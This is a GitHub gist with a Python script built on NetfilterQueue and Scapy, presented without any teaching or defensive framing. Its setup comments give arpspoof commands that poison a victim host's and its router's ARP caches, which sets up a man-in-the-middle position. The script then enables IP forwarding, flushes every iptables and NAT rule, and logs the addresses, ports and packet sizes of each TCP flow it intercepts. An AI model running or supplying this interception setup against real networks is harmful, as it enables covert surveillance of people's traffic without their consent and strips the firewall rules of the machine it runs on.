Last active
November 29, 2019 10:19
-
-
Save reuniware/3407efca09a3fd831ef2d6a2957bbaab to your computer and use it in GitHub Desktop.
Python + Netfilterqueue + Scapy + logging time and IP and TCP traffic
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# apt-get install build-essential python-dev libnetfilter-queue-dev | |
# pip install NetfilterQueue | |
# sudo apt-get install python-netfilterqueue | |
# iptables -F | |
# iptables -F -t nat | |
# iptables -I FORWARD -j NFQUEUE --queue-num 0 | |
# arpspoof -i eth0 192.168.1.200 -t 192.168.1.1 | |
# arpspoof -i eth0 192.168.1.1 -t 192.168.1.200 | |
from netfilterqueue import NetfilterQueue | |
import scapy.all as scapy | |
import re | |
import os | |
import logging | |
from scapy.layers.inet import IP, TCP | |
from scapy.modules.winpcapy import pcap | |
from datetime import datetime | |
# LOG_FILENAME = datetime.now().strftime('logfile_%H_%M_%S_%d_%m_%Y.log') | |
LOG_FILENAME = datetime.now().strftime('logfile_%d_%m_%Y.log') | |
os.system("rm " + LOG_FILENAME) | |
for handler in logging.root.handlers[:]: | |
logging.root.removeHandler(handler) | |
logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG, format='%(asctime)s :: %(message)s') | |
# logging.info('Forecastiong Job Started...') | |
# logging.debug('abc method started...') | |
os.system("echo '1' > /proc/sys/net/ipv4/ip_forward") | |
os.system("iptables -F") | |
os.system("iptables -F -t nat") | |
os.system("iptables -A FORWARD -j NFQUEUE --queue-num 0") | |
ip_src = "" | |
ip_dst = "" | |
src_port = 0 | |
dst_port = 0 | |
def print_and_accept(packet): | |
global ip_src, ip_dst, dst_port, src_port | |
http_packet = scapy.IP(packet.get_payload()) | |
if http_packet.haslayer(scapy.Raw) and http_packet.haslayer(TCP): | |
if IP in http_packet: | |
ip_src = http_packet[IP].src | |
ip_dst = http_packet[IP].dst | |
src_port = http_packet[IP].sport | |
dst_port = http_packet[IP].dport | |
packet_len = packet.get_payload_len() | |
print(ip_src + ":" + str(src_port) + " -> " + ip_dst + ":" + str(dst_port) + " size = " + str(packet_len)) | |
logging.info( | |
ip_src + ":" + str(src_port) + " -> " + ip_dst + ":" + str(dst_port) + " size = " + str(packet_len)) | |
# print(packet.get_payload()) | |
packet.accept() | |
# packet.drop() | |
nf_queue = NetfilterQueue() | |
nf_queue.bind(0, print_and_accept) | |
try: | |
nf_queue.run() | |
except KeyboardInterrupt: | |
os.system("iptables -F") | |
os.system("iptables -F -t nat") | |
print("Gettin' out") | |
nf_queue.unbind() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment